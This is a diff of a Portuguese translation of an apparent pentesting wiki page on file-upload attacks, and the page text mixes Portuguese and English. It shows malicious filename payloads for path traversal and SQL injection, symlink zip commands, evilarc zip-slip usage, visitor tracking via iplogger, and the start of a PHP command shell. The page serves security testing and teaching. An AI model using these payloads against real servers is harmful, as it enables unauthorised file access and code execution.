`../../../tmp/lol.png` and try to achieve a **path traversal** - Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** @@ -206,15 +207,15 @@ Alguns handlers de upload legados que usam `snprintf()` ou similares para constr - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- Tente **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) - If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) - Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. -- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** -- Verifique se existe algum **limite de tamanho** ao fazer upload de arquivos +- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) conteúdo para verificar se o servidor tem algum **antivirus** +- Verifique se existe algum **limite de tamanho** ao enviar arquivos -Aqui está uma lista top 10 de coisas que você pode conseguir fazendo upload (a partir de [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -227,37 +228,37 @@ Aqui está uma lista top 10 de coisas que você pode conseguir fazendo upload (a 9. **ZIP**: RCE via LFI / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE -#### Extensão do Burp +#### Extensão Burp {{#ref}} https://github.com/portswigger/upload-scanner {{#endref}} -## Bytes Mágicos do Cabeçalho +## Bytes mágicos do cabeçalho - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para outros tipos de arquivo. -## Zip/Tar File Automatically decompressed Upload +## Upload ZIP/TAR descomprimido automaticamente no servidor -Se você puder fazer upload de um ZIP que será descomprimido no servidor, você pode fazer 2 coisas: +Se você puder fazer upload de um ZIP que será descomprimido dentro do servidor, você pode fazer 2 coisas: ### Symlink -Faça upload de um arquivo contendo symlinks para outros arquivos; então, ao acessar os arquivos descomprimidos, você acessará os arquivos vinculados: +Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Descomprimir em pastas diferentes +### Descomprimir em diferentes diretórios -A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra OS-level command execution através de uploads de arquivos maliciosos, o suporte a compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser exploradas. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload seguros ao manipular a funcionalidade de descompressão da aplicação alvo. +A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar da suposição inicial de que essa configuração poderia proteger contra OS-level command execution por meio de malicious file uploads, o suporte hierárquico de compressão e as capacidades de directory traversal do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo. -Um exploit automatizado para criar tais arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). A utilidade pode ser usada como mostrado: +Um exploit automatizado para criar esses arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). A ferramenta pode ser usada como mostrado: ```python # Listing available options python2 evilarc.py -h @@ -284,11 +285,11 @@ zip.close() create_zip() ``` -**Abusando da compressão para file spraying** +**Abusar da compressão para file spraying** -Para mais detalhes **veja a postagem original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: Código PHP é escrito para executar comandos passados pela variável `$_REQUEST`. +1. **Criando um shell PHP**: Código PHP que executa comandos passados pela variável `$_REQUEST`. ```php